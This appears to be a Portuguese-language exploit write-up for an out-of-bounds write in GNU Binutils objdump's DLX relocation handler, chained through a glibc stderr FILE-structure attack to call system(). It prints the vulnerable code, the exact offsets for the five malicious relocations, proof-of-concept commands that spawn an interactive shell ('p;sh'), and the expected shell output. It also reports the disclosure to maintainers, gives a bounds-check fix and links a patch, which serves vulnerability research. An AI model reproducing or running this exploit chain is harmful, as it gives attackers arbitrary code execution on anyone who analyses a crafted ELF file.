GNU Binutils objdump — Escrita OOB → FSOP → Execução Arbitrária de Código

Alvo: GNU Binutils (todas as versões até HEAD) — objdump
Ambiente: Debian 13 (Trixie), glibc 2.41, x86_64
Impacto: Execução arbitrária de código
Vetor: Arquivo ELF malicioso processado por objdump -g
ASLR: Contornado (delta mmap determinístico)

Agradecimentos

Um enorme agradecimento ao bikini pela menção e pelo seu fair play em relação a esta descoberta. Ele é um cara incrível, tive o prazer de conversar com ele, e ele fez algumas descobertas excelentes por conta própria. Vão conferir o trabalho dele!

Vulnerabilidade

Causa raiz — `bfd/elf32-dlx.c`

O manipulador de realocação R_DLX_RELOC_26_PCREL (elf32_dlx_relocate26) realiza uma leitura/escrita de 4 bytes em data + reloc_entry->address sem validar o deslocamento em relação ao tamanho da seção. Como a função retorna bfd_reloc_ok, a verificação genérica de limites em bfd/reloc.c é completamente contornada.

// bfd/elf32-dlx.c — elf32_dlx_relocate26()
insn  = bfd_get_32(abfd, data + reloc_entry->address);   // OOB read
vallo = insn & 0x03FFFFFF;
if (vallo & 0x03000000)
    vallo = ~(vallo | 0xFC000000) + 1;                   // sign-extend 26 bits

val   = (sym->section->vma + sym->value) - vallo;
insn  = (insn & 0xFC000000) | (val & 0x03FFFFFF);

bfd_put_32(abfd, insn, data + reloc_entry->address);     // OOB write
return bfd_reloc_ok;                                      // skips bounds check

O deslocamento reloc_entry->address é lido diretamente do arquivo ELF e pode apontar arbitrariamente para além do buffer da seção.

Truque de proximidade mmap

Em x86_64, os deslocamentos ELF32 são estendidos com zeros, limitando as escritas a deslocamentos positivos. Uma seção .debug_info ≥ 128 KB força malloc() a usar mmap(), colocando o buffer adjacente ao segmento de dados da libc:

┌──────────────────────────────────────┐  ← same mmap region
│  .debug_info buffer (192 KB)         │  data     = 0x7f...d010
│  ├── fake _IO_wide_data  (+0x1000)   │
│  └── fake _IO_jump_t     (+0x2000)   │
│              ...                     │
│  _IO_2_1_stderr_                     │  stderr   = data + 0x21a4d0
│  _IO_wfile_jumps                     │  wfile    = data + 0x218218
│  system()                            │  system() = data + 0x87100
└──────────────────────────────────────┘

O delta stderr - data = 0x21A4D0 é constante entre execuções com ASLR porque ambas as regiões são alocadas pelo mesmo mmap durante o carregamento da libc.

Cadeia de exploração FSOP

Caminho de execução

objdump writes to stderr ("Can't get contents for section...")
  └─► _IO_wfile_overflow(stderr)
      └─► _IO_wdoallocbuf(stderr)
          └─► _IO_WDOALLOCATE(stderr)
              = stderr->_wide_data->_wide_vtable->__doallocate(stderr)
              = fake_vtable[0x68](https://github.com/4d4j/objdump-out-of-bounds-write/blob/HEAD/stderr)
              = system(stderr)
              = system("p;sh")         ← stderr._flags[0:4] = "p;sh"

As 5 escritas OOB (PCREL26)

Estruturas fake (no buffer da seção)

data + 0x1000 : fake _IO_wide_data
  +0xE0      : _wide_vtable → data + 0x2000

data + 0x2000 : fake _IO_jump_t
  +0x68      : __doallocate → system()

Restrições de comando

O exploit suporta comandos de 2 a 4 caracteres. A Reloc 0 escreve _flags[0:3] e a reloc 4 escreve _flags[3] + limpa o padding, dando a system() até 4 caracteres antes do terminador nulo natural.

Apenas os dois primeiros bytes são limitados pelo layout dos flags FILE da glibc:

cmd[2] e cmd[3] não têm restrições.

Reprodução

Pré-requisitos

# Build binutils with DLX target support
cd binutils-gdb && mkdir build && cd build
../configure --target=dlx-elf --disable-nls --disable-werror
make -j$(nproc)

Gerar payload + executar o exploit

# Step 1: Generate the malicious ELF (choose your command)
python3 poc_generate.py --cmd "p;sh" -o exploit.bin

# Step 2: Run the exploit (ASLR on, standalone, no GDB)
python3 poc_ptrace.py --cmd "p;sh"   # interactive shell
python3 poc_ptrace.py --cmd "p;id"   # print uid/gid
python3 poc_ptrace.py                # default: "ps"

O exploit tenta novamente automaticamente até 5 vezes em caso de incompatibilidades no byte 3 do ASLR (~12% por tentativa), alcançando uma taxa de sucesso de ~99,998%.

Saída esperada

[*] libc: /lib/x86_64-linux-gnu/libc.so.6
[*] cmd = 'p;sh'  bytes = ['0x70', '0x3b', '0x73', '0x68']
[*] objdump_base = 0x005e61dfbf5000
[*] fn_addr      = 0x005e61e06cad90  (elf32_dlx_relocate26)
[*] libc_base = 0x0075b1ed86c000
[*] stderr    = 0x0075b1eda524e0
[*] system    = 0x0075b1ed8bf110
[*] actual delta = 0x21a4d0  (expected 0x21a4d0)
[*] reloc0 sym->value <- 0x00f65c20  (cmd[0..2] = 'p;s')
[*] reloc4 sym->value <- 0x016d0000  (cmd[3] = 0x68)
...
[+] system() reached — command executing
$ id                                   ← interactive shell
uid=1000(user) gid=1000(user) groups=1000(user)
[+] Done

Correção sugerida

Adicione uma verificação de limites em elf32_dlx_relocate26() antes de acessar os dados da seção:

if (reloc_entry->address + 4 > input_section->size)
    return bfd_reloc_outofrange;

Arquivos

Arquivo	Descrição
`poc_generate.py`	Gera o payload ELF DLX malicioso (`exploit.bin`) com 5 relocs OOB

Divulgação

Esta vulnerabilidade foi reportada aos mantenedores do GNU Binutils. O código do exploit é fornecido apenas para fins de pesquisa de segurança autorizada.

Patch

https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=114e3aae2b7e34057c8909301eaf78c15687e8e5

0	`0x21A4CF` = stderr − 1	`_flags[0:3]` = `cmd[0..2]` → início do argumento de system()
1	`0x21A4F8` = stderr + 0x28	`_IO_write_ptr` ≠ 0 → força flush → overflow
2	`0x21A56F` = stderr + 0x9F	`_wide_data[0:3]` → aponta para o _IO_wide_data fake
3	`0x21A5A7` = stderr + 0xD7	`vtable[0:3]` → `_IO_wfile_jumps`
4	`0x21A4D2` = stderr + 2	`_flags[3]` = `cmd[3]`, padding limpo → terminador nulo

1	`_IO_UNBUFFERED`	`cmd[0] & 0x02 == 0`	caso contrário `_IO_wdoallocbuf` pula `__doallocate`
3	`_IO_NO_WRITES`	`cmd[0] & 0x08 == 0`	caso contrário overflow retorna WEOF imediatamente
13	`_IO_IS_FILEBUF`	`cmd[1] & 0x20 != 0`	necessário para entrar no bloco doallocate

`"ps"`	70 73	lista processos
`"p;sh"`	70 3B 73 68	abre shell interativa ← mais útil
`"p;ls"`	70 3B 6C 73	lista diretório
`"p;id"`	70 3B 69 64	imprime uid/gid

objdump-Out-Of-Bounds-write

Mais Populares